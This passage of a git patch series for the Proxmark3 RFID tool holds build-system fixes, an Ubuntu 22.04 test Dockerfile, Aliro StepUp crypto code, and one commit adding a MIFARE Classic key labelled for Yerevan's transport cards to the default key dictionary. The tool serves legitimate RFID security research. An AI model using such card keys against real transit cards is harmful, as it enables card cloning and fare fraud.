Qt6.2.4 (e.g. Ubuntu 22.04), fall back to qmake6 + QMAKE6 := $(shell command -v qmake6 2>/dev/null) + QT6_INCDIR := $(shell $(QMAKE6) -query QT_INSTALL_HEADERS 2>/dev/null) + ifneq ($(QT6_INCDIR),) + QTINCLUDES := -I$(QT6_INCDIR) -I$(QT6_INCDIR)/QtCore -I$(QT6_INCDIR)/QtWidgets -I$(QT6_INCDIR)/QtGui + endif + QT6_LIBDIR := $(shell $(QMAKE6) -query QT_INSTALL_LIBS 2>/dev/null) + ifneq ($(QT6_LIBDIR),) + QTLDLIBS := -L$(QT6_LIBDIR) -lQt6Core -lQt6Widgets -lQt6Gui + endif + QT6_LIBEXECDIR := $(shell $(QMAKE6) -query QT_INSTALL_LIBEXECS 2>/dev/null) + ifneq ($(QT6_LIBEXECDIR),) + MOC := $(QT6_LIBEXECDIR)/moc + UIC := $(QT6_LIBEXECDIR)/uic + endif + QT6_BINDIR := $(shell $(QMAKE6) -query QT_INSTALL_BINS 2>/dev/null) + ifneq ($(QT6_BINDIR),) + QMAKE := $(QMAKE6) + endif + endif ifneq ($(QTLDLIBS),) QT6_FOUND = 1 endif @@ -333,9 +354,9 @@ ifneq ($(SKIPQT),1) # if Qt6 not found check for correctly configured Qt5 QTINCLUDES = $(shell $(PKG_CONFIG_ENV) pkg-config --cflags Qt5Core Qt5Widgets 2>/dev/null) QTLDLIBS = $(shell $(PKG_CONFIG_ENV) pkg-config --libs Qt5Core Qt5Widgets 2>/dev/null) - MOC = $(shell $(PKG_CONFIG_ENV) pkg-config --variable=host_bins Qt5Core)/moc - UIC = $(shell $(PKG_CONFIG_ENV) pkg-config --variable=host_bins Qt5Core)/uic - QMAKE = $(shell $(PKG_CONFIG_ENV) pkg-config --variable=host_bins Qt5Core)/qmake + MOC = $(shell $(PKG_CONFIG_ENV) pkg-config --variable=host_bins Qt5Core 2>/dev/null)/moc + UIC = $(shell $(PKG_CONFIG_ENV) pkg-config --variable=host_bins Qt5Core 2>/dev/null)/uic + QMAKE = $(shell $(PKG_CONFIG_ENV) pkg-config --variable=host_bins Qt5Core 2>/dev/null)/qmake endif ifeq ($(QTLDLIBS),) # if both pkg-config commands failed, search in common places From c682ad3503cec4d2e2bee083f4dfb146c4658bf6 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Sun, 1 Mar 2026 13:27:53 +0100 Subject: [PATCH 041/162] reintroduce a ubuntu 22.04 dockerfile to test old setups (e.g. old WSL) --- docker/ubuntu-22.04/Dockerfile | 38 +++++++++++++++++++++++++++++ docker/ubuntu-22.04/README.md | 20 +++++++++++++++ docker/ubuntu-22.04/docker_conf.inc | 2 ++ docker/ubuntu-22.04/run_tests.sh | 8 ++++++ 4 files changed, 68 insertions(+) create mode 100644 docker/ubuntu-22.04/Dockerfile create mode 100644 docker/ubuntu-22.04/README.md create mode 100644 docker/ubuntu-22.04/docker_conf.inc create mode 100755 docker/ubuntu-22.04/run_tests.sh diff --git a/docker/ubuntu-22.04/Dockerfile b/docker/ubuntu-22.04/Dockerfile new file mode 100644 index 000000000..4e9d38671 --- /dev/null +++ b/docker/ubuntu-22.04/Dockerfile @@ -0,0 +1,38 @@ +FROM ubuntu:22.04 + +ENV LANG=C.UTF-8 +ENV DEBIAN_FRONTEND=noninteractive + +RUN apt-get update && \ + apt-get upgrade -y && \ + apt-get dist-upgrade -y && \ + apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ + apt-get clean + +RUN apt-get install -y opencl-dev && \ + apt-get clean + +ARG SKIPQT=false +RUN if [ "${SKIPQT}" = "false" ]; then \ + apt-get install -y qt6-base-dev && \ + apt-get clean; \ + fi + +# uv +COPY --from=ghcr.io/astral-sh/uv:latest /uv /uvx /bin/ + +# Create rrg user +RUN useradd -ms /bin/bash rrg +RUN passwd -d rrg +ARG UART_GID +# dialout group may already exist on another numeric ID than on host +RUN if [ -n "${UART_GID}" ]; then \ + groupadd -g ${UART_GID} mydialout || true; \ + usermod -aG ${UART_GID} rrg; \ + fi +RUN printf 'rrg ALL=(ALL) ALL\n' | tee -a /etc/sudoers + +USER rrg +WORKDIR "/home/rrg" + +CMD ["/bin/bash"] diff --git a/docker/ubuntu-22.04/README.md b/docker/ubuntu-22.04/README.md new file mode 100644 index 000000000..9e2ed3698 --- /dev/null +++ b/docker/ubuntu-22.04/README.md @@ -0,0 +1,20 @@ +# Notes on run_tests.sh script +This script runs a bunch of different builds with make and cmake together +with the different combos of RDV4, GENERIC, BTADDON combos. + +If all tests OK, the script will finish with PASS. + + +# Notes to run tests +The script is to be run in proxmark root folder inside the docker env. + +``` +docker/ubuntu-22.04/run_tests.sh; +``` + +Or if you want to run single test, +``` +sudo apt update && sudo apt upgrade -y +make clean; make -j +tools/pm3_tests.sh --long +``` diff --git a/docker/ubuntu-22.04/docker_conf.inc b/docker/ubuntu-22.04/docker_conf.inc new file mode 100644 index 000000000..7b402811d --- /dev/null +++ b/docker/ubuntu-22.04/docker_conf.inc @@ -0,0 +1,2 @@ +DOCKER_IMAGE=pm3-ubuntu-22.04:1.0 +#SKIPQT=1 diff --git a/docker/ubuntu-22.04/run_tests.sh b/docker/ubuntu-22.04/run_tests.sh new file mode 100755 index 000000000..4f8ce55ea --- /dev/null +++ b/docker/ubuntu-22.04/run_tests.sh @@ -0,0 +1,8 @@ +#!/usr/bin/env bash +# Iceman 2022 +# +# This script is to be run from proxmark root folder inside the docker env +# docker/ubuntu-22.04/run_tests.sh; + +sudo apt update && sudo apt upgrade -y +tools/release_tests.sh From 5175c32c351535c9fec1aad59130378f1adbbeb9 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Sun, 1 Mar 2026 15:27:18 +0100 Subject: [PATCH 042/162] Fix makefile warning when there is no qt6 available --- client/Makefile | 34 ++++++++++++++++++---------------- 1 file changed, 18 insertions(+), 16 deletions(-) diff --git a/client/Makefile b/client/Makefile index 5781f296a..a0bc53ac9 100644 --- a/client/Makefile +++ b/client/Makefile @@ -328,22 +328,24 @@ ifneq ($(SKIPQT),1) ifeq ($(QTINCLUDES),) # pkg-config not available for Qt6.2.4 (e.g. Ubuntu 22.04), fall back to qmake6 QMAKE6 := $(shell command -v qmake6 2>/dev/null) - QT6_INCDIR := $(shell $(QMAKE6) -query QT_INSTALL_HEADERS 2>/dev/null) - ifneq ($(QT6_INCDIR),) - QTINCLUDES := -I$(QT6_INCDIR) -I$(QT6_INCDIR)/QtCore -I$(QT6_INCDIR)/QtWidgets -I$(QT6_INCDIR)/QtGui - endif - QT6_LIBDIR := $(shell $(QMAKE6) -query QT_INSTALL_LIBS 2>/dev/null) - ifneq ($(QT6_LIBDIR),) - QTLDLIBS := -L$(QT6_LIBDIR) -lQt6Core -lQt6Widgets -lQt6Gui - endif - QT6_LIBEXECDIR := $(shell $(QMAKE6) -query QT_INSTALL_LIBEXECS 2>/dev/null) - ifneq ($(QT6_LIBEXECDIR),) - MOC := $(QT6_LIBEXECDIR)/moc - UIC := $(QT6_LIBEXECDIR)/uic - endif - QT6_BINDIR := $(shell $(QMAKE6) -query QT_INSTALL_BINS 2>/dev/null) - ifneq ($(QT6_BINDIR),) - QMAKE := $(QMAKE6) + ifneq ($(QMAKE6),) + QT6_INCDIR := $(shell $(QMAKE6) -query QT_INSTALL_HEADERS 2>/dev/null) + ifneq ($(QT6_INCDIR),) + QTINCLUDES := -I$(QT6_INCDIR) -I$(QT6_INCDIR)/QtCore -I$(QT6_INCDIR)/QtWidgets -I$(QT6_INCDIR)/QtGui + endif + QT6_LIBDIR := $(shell $(QMAKE6) -query QT_INSTALL_LIBS 2>/dev/null) + ifneq ($(QT6_LIBDIR),) + QTLDLIBS := -L$(QT6_LIBDIR) -lQt6Core -lQt6Widgets -lQt6Gui + endif + QT6_LIBEXECDIR := $(shell $(QMAKE6) -query QT_INSTALL_LIBEXECS 2>/dev/null) + ifneq ($(QT6_LIBEXECDIR),) + MOC := $(QT6_LIBEXECDIR)/moc + UIC := $(QT6_LIBEXECDIR)/uic + endif + QT6_BINDIR := $(shell $(QMAKE6) -query QT_INSTALL_BINS 2>/dev/null) + ifneq ($(QT6_BINDIR),) + QMAKE := $(QMAKE6) + endif endif endif ifneq ($(QTLDLIBS),) From 0304977eba32ce6de13dc3618d2edbe29161f175 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Sun, 1 Mar 2026 15:27:31 +0100 Subject: [PATCH 043/162] tabs --- client/Makefile | 374 ++++++++++++++++++++++++------------------------ 1 file changed, 187 insertions(+), 187 deletions(-) diff --git a/client/Makefile b/client/Makefile index a0bc53ac9..2fe8669ac 100644 --- a/client/Makefile +++ b/client/Makefile @@ -37,15 +37,15 @@ vpath %.dic dictionaries OBJDIR = obj ifeq ($(USE_BREW),1) - INCLUDES += -I$(BREW_PREFIX)/include - LDLIBS += -L$(BREW_PREFIX)/lib - PKG_CONFIG_ENV := PKG_CONFIG_PATH=$(BREW_PREFIX)/lib/pkgconfig:$(BREW_PREFIX)/opt/qt@5/lib/pkgconfig:$(BREW_PREFIX)/opt/qt@5/lib/pkgconfig + INCLUDES += -I$(BREW_PREFIX)/include + LDLIBS += -L$(BREW_PREFIX)/lib + PKG_CONFIG_ENV := PKG_CONFIG_PATH=$(BREW_PREFIX)/lib/pkgconfig:$(BREW_PREFIX)/opt/qt@5/lib/pkgconfig:$(BREW_PREFIX)/opt/qt@5/lib/pkgconfig endif ifeq ($(USE_MACPORTS),1) - INCLUDES += -I$(MACPORTS_PREFIX)/include - LDLIBS += -L$(MACPORTS_PREFIX)/lib - PKG_CONFIG_ENV := PKG_CONFIG_PATH=$(MACPORTS_PREFIX)/lib/pkgconfig + INCLUDES += -I$(MACPORTS_PREFIX)/include + LDLIBS += -L$(MACPORTS_PREFIX)/lib + PKG_CONFIG_ENV := PKG_CONFIG_PATH=$(MACPORTS_PREFIX)/lib/pkgconfig endif @@ -424,7 +424,7 @@ else LDLIBS += $(LINENOISELIBLD) PM3INCLUDES += $(LINENOISELIBINC) LINENOISE_LOCAL_FOUND = 1 - endif + endif endif endif @@ -654,194 +654,194 @@ POSTCOMPILE = $(MV) -f $(OBJDIR)/$*.Td $(OBJDIR)/$*.d && $(TOUCH) $@ ################ SRCS = mifare/aiddesfire.c \ - aidsearch.c \ - atrs.c \ - cmdanalyse.c \ - cmdcrc.c \ - cmddata.c \ - cmdflashmem.c \ - cmdflashmemspiffs.c \ - cmdhf.c \ - cmdhf14a.c \ - pla.c \ - cmdhf14b.c \ - cmdhf15.c \ - cmdhfaliro.c \ - cmdhfcryptorf.c \ - cmdhfepa.c \ - cmdhfemrtd.c \ - cmdhffelica.c \ - cmdhffido.c \ - cmdhffudan.c \ - cmdhfgallagher.c \ - cmdhfksx6924.c \ - cmdhfcipurse.c \ - cmdhficlass.c \ - cmdhfict.c \ - cmdhflegic.c \ - cmdhfjooki.c \ - cmdhflist.c \ - cmdhflto.c \ - cmdhfmf.c \ - cmdhfmfdes.c \ - cmdhfmfhard.c \ - cmdhfmfu.c \ - cmdhfmfp.c \ - cmdhfntag424.c \ + aidsearch.c \ + atrs.c \ + cmdanalyse.c \ + cmdcrc.c \ + cmddata.c \ + cmdflashmem.c \ + cmdflashmemspiffs.c \ + cmdhf.c \ + cmdhf14a.c \ + pla.c \ + cmdhf14b.c \ + cmdhf15.c \ + cmdhfaliro.c \ + cmdhfcryptorf.c \ + cmdhfepa.c \ + cmdhfemrtd.c \ + cmdhffelica.c \ + cmdhffido.c \ + cmdhffudan.c \ + cmdhfgallagher.c \ + cmdhfksx6924.c \ + cmdhfcipurse.c \ + cmdhficlass.c \ + cmdhfict.c \ + cmdhflegic.c \ + cmdhfjooki.c \ + cmdhflist.c \ + cmdhflto.c \ + cmdhfmf.c \ + cmdhfmfdes.c \ + cmdhfmfhard.c \ + cmdhfmfu.c \ + cmdhfmfp.c \ + cmdhfntag424.c \ cmdhfsaflok.c \ - cmdhfseos.c \ - cmdhfst.c \ - cmdhfst25ta.c \ - cmdhftesla.c \ - cmdhfthinfilm.c \ - cmdhftopaz.c \ - cmdhftexkom.c \ - cmdhfvas.c \ - cmdhfxerox.c \ - cmdhw.c \ - cmdlf.c \ - cmdlfawid.c \ - cmdlfcotag.c \ - cmdlfdestron.c \ - cmdlfem.c \ - cmdlfem410x.c \ - cmdlfem4x05.c \ - cmdlfem4x50.c \ - cmdlfem4x70.c \ - cmdlffdxb.c \ - cmdlfguard.c \ - cmdlfgallagher.c \ - cmdlfhid.c \ - cmdlfhitag.c \ - cmdlfhitaghts.c \ - cmdlfhitagu.c \ - cmdlfidteck.c \ - cmdlfindala.c \ - cmdlfio.c \ - cmdlfjablotron.c \ - cmdlfkeri.c \ - cmdlfmotorola.c \ - cmdlfnedap.c \ - cmdlfnexwatch.c \ - cmdlfnoralsy.c \ - cmdlfpac.c \ - cmdlfparadox.c \ - cmdlfpcf7931.c \ - cmdlfpresco.c \ - cmdlfpyramid.c \ - cmdlfsecurakey.c \ - cmdlft55xx.c \ - cmdlfti.c \ - cmdlfviking.c \ - cmdlfvisa2000.c \ - cmdlfzx8211.c \ - cmdmain.c \ - cmdmqtt.c \ - cmdnfc.c \ - cmdparser.c \ - cmdpiv.c \ - cmdscript.c \ - cmdsmartcard.c \ - cmdtrace.c \ - cmdusart.c \ - cmdwiegand.c \ - comms.c \ - crypto/asn1dump.c \ - crypto/asn1utils.c\ - crypto/libpcrypto.c\ - crypto/originality.c\ - emv/cmdemv.c \ - emv/crypto.c\ - emv/crypto_polarssl.c\ - emv/dol.c \ - emv/emv_pk.c\ - emv/emv_pki.c\ - emv/emv_pki_priv.c\ - emv/emv_roca.c \ - emv/emv_tags.c \ - emv/emvcore.c \ - emv/emvjson.c\ - emv/tlv.c \ - emv/test/crypto_test.c\ - emv/test/cryptotest.c\ - emv/test/cda_test.c\ - emv/test/dda_test.c\ - emv/test/sda_test.c\ - fido/additional_ca.c \ - fido/cose.c \ - fido/cbortools.c \ - fido/fidocore.c \ - ksx6924/ksx6924core.c \ - cipurse/cipursecore.c \ - cipurse/cipursecrypto.c \ - cipurse/cipursetest.c \ - fileutils.c \ - flash.c \ - generator.c \ - graph.c \ - hidsio.c \ - jansson_path.c \ - iso4217.c \ - iso7816/apduinfo.c \ - iso7816/iso7816core.c \ - loclass/cipher.c \ - loclass/cipherutils.c \ - loclass/elite_crack.c \ - loclass/ikeys.c \ - lua_bitlib.c \ - mifare/lrpcrypto.c \ - mifare/desfirecrypto.c \ - mifare/desfirecore.c \ - mifare/desfiresecurechan.c \ - mifare/desfiretest.c \ - mifare/gallaghercore.c \ - mifare/mad.c \ - mifare/mfkey.c \ - mifare/mifare4.c \ - mifare/mifaredefault.c \ - mifare/mifarehost.c \ - mifare/gen4.c \ - nfc/ndef.c \ - pm3.c \ - pm3_binlib.c \ - pm3_bitlib.c \ - preferences.c \ - pm3line.c \ - proxmark3.c \ - scandir.c \ - uart/ringbuffer.c \ - uart/uart_common.c \ - uart/uart_posix.c \ - uart/uart_win32.c \ - scripting.c \ - ui.c \ - util.c \ - qrcode/qrcode.c \ - version_pm3.c \ - wiegand_formats.c \ - wiegand_formatutils.c + cmdhfseos.c \ + cmdhfst.c \ + cmdhfst25ta.c \ + cmdhftesla.c \ + cmdhfthinfilm.c \ + cmdhftopaz.c \ + cmdhftexkom.c \ + cmdhfvas.c \ + cmdhfxerox.c \ + cmdhw.c \ + cmdlf.c \ + cmdlfawid.c \ + cmdlfcotag.c \ + cmdlfdestron.c \ + cmdlfem.c \ + cmdlfem410x.c \ + cmdlfem4x05.c \ + cmdlfem4x50.c \ + cmdlfem4x70.c \ + cmdlffdxb.c \ + cmdlfguard.c \ + cmdlfgallagher.c \ + cmdlfhid.c \ + cmdlfhitag.c \ + cmdlfhitaghts.c \ + cmdlfhitagu.c \ + cmdlfidteck.c \ + cmdlfindala.c \ + cmdlfio.c \ + cmdlfjablotron.c \ + cmdlfkeri.c \ + cmdlfmotorola.c \ + cmdlfnedap.c \ + cmdlfnexwatch.c \ + cmdlfnoralsy.c \ + cmdlfpac.c \ + cmdlfparadox.c \ + cmdlfpcf7931.c \ + cmdlfpresco.c \ + cmdlfpyramid.c \ + cmdlfsecurakey.c \ + cmdlft55xx.c \ + cmdlfti.c \ + cmdlfviking.c \ + cmdlfvisa2000.c \ + cmdlfzx8211.c \ + cmdmain.c \ + cmdmqtt.c \ + cmdnfc.c \ + cmdparser.c \ + cmdpiv.c \ + cmdscript.c \ + cmdsmartcard.c \ + cmdtrace.c \ + cmdusart.c \ + cmdwiegand.c \ + comms.c \ + crypto/asn1dump.c \ + crypto/asn1utils.c\ + crypto/libpcrypto.c\ + crypto/originality.c\ + emv/cmdemv.c \ + emv/crypto.c\ + emv/crypto_polarssl.c\ + emv/dol.c \ + emv/emv_pk.c\ + emv/emv_pki.c\ + emv/emv_pki_priv.c\ + emv/emv_roca.c \ + emv/emv_tags.c \ + emv/emvcore.c \ + emv/emvjson.c\ + emv/tlv.c \ + emv/test/crypto_test.c\ + emv/test/cryptotest.c\ + emv/test/cda_test.c\ + emv/test/dda_test.c\ + emv/test/sda_test.c\ + fido/additional_ca.c \ + fido/cose.c \ + fido/cbortools.c \ + fido/fidocore.c \ + ksx6924/ksx6924core.c \ + cipurse/cipursecore.c \ + cipurse/cipursecrypto.c \ + cipurse/cipursetest.c \ + fileutils.c \ + flash.c \ + generator.c \ + graph.c \ + hidsio.c \ + jansson_path.c \ + iso4217.c \ + iso7816/apduinfo.c \ + iso7816/iso7816core.c \ + loclass/cipher.c \ + loclass/cipherutils.c \ + loclass/elite_crack.c \ + loclass/ikeys.c \ + lua_bitlib.c \ + mifare/lrpcrypto.c \ + mifare/desfirecrypto.c \ + mifare/desfirecore.c \ + mifare/desfiresecurechan.c \ + mifare/desfiretest.c \ + mifare/gallaghercore.c \ + mifare/mad.c \ + mifare/mfkey.c \ + mifare/mifare4.c \ + mifare/mifaredefault.c \ + mifare/mifarehost.c \ + mifare/gen4.c \ + nfc/ndef.c \ + pm3.c \ + pm3_binlib.c \ + pm3_bitlib.c \ + preferences.c \ + pm3line.c \ + proxmark3.c \ + scandir.c \ + uart/ringbuffer.c \ + uart/uart_common.c \ + uart/uart_posix.c \ + uart/uart_win32.c \ + scripting.c \ + ui.c \ + util.c \ + qrcode/qrcode.c \ + version_pm3.c \ + wiegand_formats.c \ + wiegand_formatutils.c # common SRCS += bucketsort.c \ - bruteforce.c \ - cardhelper.c \ - crapto1/crapto1.c \ - crapto1/crypto1.c \ - crc.c \ - crc16.c \ - crc32.c \ - crc64.c \ - commonutil.c \ - hitag2/hitag2_crypto.c \ - iso15693tools.c \ - legic_prng.c \ - lfdemod.c \ - util_posix.c + bruteforce.c \ + cardhelper.c \ + crapto1/crapto1.c \ + crapto1/crypto1.c \ + crc.c \ + crc16.c \ + crc32.c \ + crc64.c \ + commonutil.c \ + hitag2/hitag2_crypto.c \ + iso15693tools.c \ + legic_prng.c \ + lfdemod.c \ + util_posix.c ifeq ($(GD_FOUND),1) # electronic shelf labels SRCS += imgutils.c \ - cmdhfwaveshare.c + cmdhfwaveshare.c endif # swig From 64247b33b1a648657dfb2e82d417c0426a6727cf Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Sun, 1 Mar 2026 21:00:05 +0100 Subject: [PATCH 044/162] Init PLATFORM_DEFS --- common_arm/Makefile.hal | 1 + 1 file changed, 1 insertion(+) diff --git a/common_arm/Makefile.hal b/common_arm/Makefile.hal index 3aec0cc3b..429fc1717 100644 --- a/common_arm/Makefile.hal +++ b/common_arm/Makefile.hal @@ -98,6 +98,7 @@ endef PLTNAME = Unknown Platform PLATFORM_FPGA = fpga-undefined +PLATFORM_DEFS = ifeq ($(PLATFORM),PM3RDV4) # FPGA bitstream files, the order doesn't matter anymore FPGA_BITSTREAMS = fpga_pm3_hf.bit From 2a4528326357026cd6909dfa64a9b7f2ae44e58b Mon Sep 17 00:00:00 2001 From: Mher Saribekyan Date: Mon, 2 Mar 2026 00:49:51 +0400 Subject: [PATCH 045/162] 26ABFC3C24FB --- client/dictionaries/mfc_default_keys.dic | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/client/dictionaries/mfc_default_keys.dic b/client/dictionaries/mfc_default_keys.dic index e37f1100f..dc526e43a 100644 --- a/client/dictionaries/mfc_default_keys.dic +++ b/client/dictionaries/mfc_default_keys.dic @@ -3248,3 +3248,7 @@ E058DC0E2C34 # # Ufanet Key 59D7FD628402 +# +# Yerevan Transport +26ABFC3C24FB +# From 6b66d10acc5abc29d18fa68c184f93a04f2dab63 Mon Sep 17 00:00:00 2001 From: kormax <3392860+kormax@users.noreply.github.com> Date: Sun, 1 Mar 2026 21:42:04 +0200 Subject: [PATCH 046/162] Add StepUp flow support to 'hf aliro read' command --- client/src/cmdhfaliro.c | 1711 +++++++++++++++++++++++++++++++++++++-- 1 file changed, 1665 insertions(+), 46 deletions(-) diff --git a/client/src/cmdhfaliro.c b/client/src/cmdhfaliro.c index 6ed81e3f7..b00a9f350 100644 --- a/client/src/cmdhfaliro.c +++ b/client/src/cmdhfaliro.c @@ -18,6 +18,8 @@ #include "cmdhfaliro.h" +#include +#include #include #include #include @@ -45,16 +47,30 @@ static const uint8_t ALIRO_EXPEDITED_AID[] = { 0xA0, 0x00, 0x00, 0x09, 0x09, 0xAC, 0xCE, 0x55, 0x01 }; +static const uint8_t ALIRO_STEP_UP_AID[] = { + 0xA0, 0x00, 0x00, 0x09, 0x09, 0xAC, 0xCE, 0x55, 0x02 +}; + static const uint8_t ALIRO_READER_CONTEXT[] = {0x41, 0x5D, 0x95, 0x69}; static const uint8_t ALIRO_DEVICE_CONTEXT[] = {0x4E, 0x88, 0x7B, 0x4C}; static const uint8_t ALIRO_AUTH0_GCM_IV[] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; -static const uint8_t ALIRO_EXCHANGE_MODE[] = {0, 0, 0, 0, 0, 0, 0, 1}; +static const uint8_t ALIRO_SECURE_CHANNEL_READER_MODE[] = {0, 0, 0, 0, 0, 0, 0, 0}; +static const uint8_t ALIRO_SECURE_CHANNEL_DEVICE_MODE[] = {0, 0, 0, 0, 0, 0, 0, 1}; static const uint8_t ALIRO_NFC_INTERFACE_BYTE = 0x5E; static const uint8_t ALIRO_AUTH0_DEFAULT_POLICY = 0x01; static const uint8_t ALIRO_AUTH1_REQUEST_PUBLIC_KEY = 0x01; +static const char ALIRO_DEFAULT_STEP_UP_SCOPE[] = "matter1"; #define ALIRO_MAX_BUFFER 2048 #define ALIRO_MAX_TLV 512 +#define ALIRO_MAX_STEP_UP_SCOPES 16 +#define ALIRO_MAX_STEP_UP_SCOPE_LEN 128 +#define ALIRO_ACCESS_DOCUMENT_TYPE "aliro-a" +#define ALIRO_REVOCATION_DOCUMENT_TYPE "aliro-r" + +#define ALIRO_SIGNALING_ACCESS_DOCUMENT_RETRIEVABLE (1U << 0) +#define ALIRO_SIGNALING_REVOCATION_DOCUMENT_RETRIEVABLE (1U << 1) +#define ALIRO_SIGNALING_STEP_UP_SELECT_REQUIRED_FOR_DOC_RETRIEVAL (1U << 2) typedef struct { mbedtls_entropy_context entropy; @@ -74,8 +90,14 @@ static const aliro_application_type_t aliro_application_type_map[] = { typedef enum { ALIRO_FLOW_FAST = 0, ALIRO_FLOW_STANDARD = 1, + ALIRO_FLOW_STEP_UP = 2, } aliro_flow_t; +typedef struct { + size_t count; + char values[ALIRO_MAX_STEP_UP_SCOPES][ALIRO_MAX_STEP_UP_SCOPE_LEN + 1]; +} aliro_step_up_scopes_t; + typedef struct { bool have_fci_aid; uint8_t fci_aid[APDU_AID_LEN]; @@ -173,6 +195,8 @@ typedef struct { } aliro_read_state_t; static int CmdHelp(const char *Cmd); +static const char *aliro_cbor_type_name(CborType type); +static bool aliro_cbor_print_scalar(const char *label, const CborValue *value); static const char *get_aliro_application_type_name(uint16_t type) { for (size_t i = 0; i < ARRAYLEN(aliro_application_type_map); ++i) { @@ -810,6 +834,55 @@ static int aliro_aes_gcm_decrypt(const uint8_t key[32], const uint8_t *iv, size_ return (ret == 0) ? PM3_SUCCESS : PM3_ESOFT; } +static int aliro_aes_gcm_encrypt(const uint8_t key[32], const uint8_t *iv, size_t iv_len, + const uint8_t *plaintext, size_t plaintext_len, + uint8_t *ciphertext_and_tag, size_t ciphertext_and_tag_max, + size_t *ciphertext_and_tag_len) { + if (key == NULL || iv == NULL || plaintext == NULL || ciphertext_and_tag == NULL || ciphertext_and_tag_len == NULL) { + return PM3_EINVARG; + } + if ((plaintext_len + 16) > ciphertext_and_tag_max) { + return PM3_EOVFLOW; + } + + mbedtls_gcm_context gcm; + mbedtls_gcm_init(&gcm); + + int ret = mbedtls_gcm_setkey(&gcm, MBEDTLS_CIPHER_ID_AES, key, 256); + if (ret == 0) { + ret = mbedtls_gcm_crypt_and_tag(&gcm, + MBEDTLS_GCM_ENCRYPT, + plaintext_len, + iv, + iv_len, + NULL, + 0, + plaintext, + ciphertext_and_tag, + 16, + ciphertext_and_tag + plaintext_len); + } + + mbedtls_gcm_free(&gcm); + if (ret != 0) { + return PM3_ESOFT; + } + *ciphertext_and_tag_len = plaintext_len + 16; + return PM3_SUCCESS; +} + +static void aliro_build_secure_channel_iv(const uint8_t mode[8], uint32_t counter, uint8_t iv[12]) { + if (mode == NULL || iv == NULL) { + return; + } + + memcpy(iv, mode, 8); + iv[8] = (uint8_t)(counter >> 24); + iv[9] = (uint8_t)(counter >> 16); + iv[10] = (uint8_t)(counter >> 8); + iv[11] = (uint8_t)(counter); +} + static int aliro_create_auth1_signature(const mbedtls_ecp_keypair *reader_private_key, const uint8_t *data, size_t data_len, uint8_t signature[64]) { @@ -1743,11 +1816,7 @@ static int aliro_read_do_auth1(aliro_read_state_t *state, } uint8_t auth1_iv[12] = {0}; - memcpy(auth1_iv, ALIRO_EXCHANGE_MODE, sizeof(ALIRO_EXCHANGE_MODE)); - auth1_iv[8] = 0x00; - auth1_iv[9] = 0x00; - auth1_iv[10] = 0x00; - auth1_iv[11] = 0x01; + aliro_build_secure_channel_iv(ALIRO_SECURE_CHANNEL_DEVICE_MODE, 1, auth1_iv); uint8_t auth1_plain[ALIRO_MAX_BUFFER] = {0}; res = aliro_aes_gcm_decrypt(state->standard_result.keys.exchange_sk_device, auth1_iv, sizeof(auth1_iv), @@ -1807,12 +1876,8 @@ static int aliro_read_do_auth1(aliro_read_state_t *state, return PM3_SUCCESS; } -static void aliro_read_print_auth1_report(const aliro_read_state_t *state, - const uint8_t reader_group_identifier[16], - const uint8_t reader_group_sub_identifier[16], - const uint8_t reader_private_key_raw[32]) { - if (state == NULL || reader_group_identifier == NULL || - reader_group_sub_identifier == NULL || reader_private_key_raw == NULL) { +static void aliro_read_print_auth1_report(const aliro_read_state_t *state) { + if (state == NULL) { return; } @@ -1855,33 +1920,1558 @@ static void aliro_read_print_auth1_report(const aliro_read_state_t *state, PrintAndLogEx(INFO, " URSK...................... %s", sprint_hex_inrow(state->standard_result.keys.ursk, 32)); if (state->standard_result.keys.kpersistent_present) { PrintAndLogEx(INFO, " Kpersistent (derived)..... " _YELLOW_("%s"), sprint_hex_inrow(state->standard_result.keys.kpersistent, 32)); + } +} - char reader_group_hex[33] = {0}; - char reader_sub_group_hex[33] = {0}; - char reader_priv_hex[65] = {0}; - char kpersistent_hex[65] = {0}; - char endpoint_pub_hex[131] = {0}; - hex_to_buffer((uint8_t *)reader_group_hex, reader_group_identifier, 16, sizeof(reader_group_hex) - 1, 0, 0, true); - hex_to_buffer((uint8_t *)reader_sub_group_hex, reader_group_sub_identifier, 16, sizeof(reader_sub_group_hex) - 1, 0, 0, true); - hex_to_buffer((uint8_t *)reader_priv_hex, reader_private_key_raw, 32, sizeof(reader_priv_hex) - 1, 0, 0, true); - hex_to_buffer((uint8_t *)kpersistent_hex, state->standard_result.keys.kpersistent, 32, sizeof(kpersistent_hex) - 1, 0, 0, true); - hex_to_buffer((uint8_t *)endpoint_pub_hex, state->auth1_parsed.endpoint_public_key, 65, sizeof(endpoint_pub_hex) - 1, 0, 0, true); +static bool aliro_read_build_fast_suggestion_command(const aliro_read_state_t *state, + const uint8_t reader_group_identifier[16], + const uint8_t reader_group_sub_identifier[16], + const uint8_t reader_private_key_raw[32], + char *out_cmd, size_t out_cmd_size) { + if (state == NULL || reader_group_identifier == NULL || reader_group_sub_identifier == NULL || + reader_private_key_raw == NULL || out_cmd == NULL || out_cmd_size == 0) { + return false; + } + if (state->standard_result.keys.kpersistent_present == false || state->auth1_parsed.have_endpoint_public_key == false) { + return false; + } - char fast_cmd[768] = {0}; - int fast_cmd_len = snprintf(fast_cmd, sizeof(fast_cmd), - "hf aliro read --reader-group-id %s --reader-sub-group-id %s " - "--reader-private-key %s --key-persistent %s " - "--endpoint-public-key %s --flow fast", - reader_group_hex, reader_sub_group_hex, - reader_priv_hex, kpersistent_hex, endpoint_pub_hex); - if (fast_cmd_len > 0) { - aliro_print_big_header("Note"); - PrintAndLogEx(INFO, _GREEN_("use the following command to perform FAST authentication flow for this endpoint:")); - if ((size_t)fast_cmd_len < sizeof(fast_cmd)) { - PrintAndLogEx(INFO, _YELLOW_("%s"), fast_cmd); + char reader_group_hex[33] = {0}; + char reader_sub_group_hex[33] = {0}; + char reader_priv_hex[65] = {0}; + char kpersistent_hex[65] = {0}; + char endpoint_pub_hex[131] = {0}; + hex_to_buffer((uint8_t *)reader_group_hex, reader_group_identifier, 16, sizeof(reader_group_hex) - 1, 0, 0, true); + hex_to_buffer((uint8_t *)reader_sub_group_hex, reader_group_sub_identifier, 